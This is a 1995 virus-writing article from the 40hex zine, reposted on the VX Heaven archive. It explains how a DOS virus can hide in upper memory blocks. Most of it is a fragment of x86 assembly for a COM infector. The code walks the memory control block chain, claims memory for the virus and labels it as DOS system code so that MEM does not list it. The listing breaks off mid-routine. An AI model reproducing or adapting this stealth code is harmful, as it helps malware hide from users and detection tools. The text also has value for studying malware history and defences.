VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

UMB Residency

Dark Angel
40hex [14]
April 1995

[Back to index] [Comments]

One day, while fiddling with loading programs into MSDOS UMB's, I realised that there are very few viruses that used UMB's. This is surprising, given the prevalence of UMB's and the ease with which DOS viruses may hide their presence through the use of UMB's.

The UMB's, or upper memory blocks, consist of the memory above 640K and below 1MB (segments A000 to FFFF). This region was reserved early on for BIOS and peripherals, notably video memory. There is normally plenty of unused space in this region, so enterprising programmers found a simple way to incorporate the memory into DOS's memory allocation scheme. They simply extended the MCB chain into that region, with MCB's indicating already allocated memory covering the memory used for other purposes by the machine. In this way, more memory, albeit fragmented, was usable for loading programs. The UMB's are especially handy for storing TSR's, since they have smaller memory constraints than most programs. The programmers at Microsoft, realising the utility of UMB's, decided to incorporate UMB's into DOS beginning at version 5, so now there is a standardised method of handling upper memory.

The MCB's handling upper memory are slightly more complex than regular MCB's. The format of a UMB control block is:

00BYTE'Z' if last MCB in chain, 'M' otherwise
01WORDPSP segment of owner (8 if MSDOS, 0 if free)
03WORDsize of memory block in paragraphs
053 BYTESunused
088 BYTESprogram name in ASCII or "SC" if system code or "SD" if system data

The method is pretty simple to understand and very easy to implement. In DOS 5+, the first UMB can be located through a pointer in the disk buffer information structure which, in turn, may be located through the DOS master list structure. This UMB is usually located at 9FFF:0000, but there is no need for this to be the case. It's simply the most convenient location for it. The only difference between modifying regular MCB's and UMB's is the extra field at offset 8 which may be used to mark the block as DOS system code. By marking this with DOS's usual fields to indicate unusuable memory such as video memory and ROM, we effectively hide the virus from detection by utilities such as MEM. Since it doesn't reside in conventional memory (below 640K), there is no decrease in memory a la 40:13 BIOS manipulating memory residency techniques.

The sample code below, written for a simple COM infector, illustrates the technique.

start:          xor     di,di

                mov     ax,3306                 ; get true DOS version
                int     21
                inc     al                      ; DOS 4-?
                jz      no_UMBs                 ; if so, we don't have UMB's

                mov     ah,52                   ; get DOS master list
                int     21                      ; structure

                lds     si,es:[bx+12]           ; get ptr to disk buffer info

                mov     ax,ds:[si+1f]           ; get address of the first UMB
                inc     ax                      ; (FFFF if no UMBs present)
                jz      no_UMBs
                dec     ax                      ; undo damage from above
search_chain:   mov     ds,ax                   ; go to the MCB
                cmp     word ptr [di+1],di      ; unused?
                jnz     search_next
                cmp     word ptr [di+3],reslength_P ; MCB large enough to
                ja      handle_MCB              ; hold us and our MCB?
search_next:    cmp     byte ptr [di],'Z'       ; end of chain?
                jz      no_UMBs
                mov     bx,[di+3]               ; go to the next MCB
                inc     ax                      ; 40Hex
                add     ax,bx
                jmp     search_chain

no_UMBs:        mov     ax,cs
                dec     ax                      ; get the MCB for current
                mov     ds,ax                   ; program
                cmp     word ptr [di+3],reslength_P + 1000 ; large enough for
                jna     fail_init               ; program and virus and its
                                                ; MCB?
                jmp     short handle_MCB

                db      0,'(DA/PS)',0

handle_MCB:     sub     word ptr [di+3],reslength_P + 1 ; adjust size of memory
                                                ; area for virus + its MCB
                mov     bx,[di+3]               ; get size of new memory area
                mov     cl,'M'                  ; make sure this MCB doesn't
                xchg    cl,byte ptr [di]        ; mark the end of the chain
                inc     ax
                add     ax,bx                   ; go to virus segment's MCB
                mov     ds,ax
                mov     es,ax

                mov     byte ptr [di],cl        ; patch end of chain indicator
                mov     word ptr [di+1],8       ; mark MCB owned by DOS
                mov     word ptr [di+3],reslength_P ; patch in virus size

                inc     ax                      ; ds->virus segment
                mov     ds,ax

                or      di,8                    ; go to program name field
                mov     ax,'CS'                 ; make virus invisible to MEM
                stosw                           ; by pretending it is
                xor     ax,ax                   ; DOS system code
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka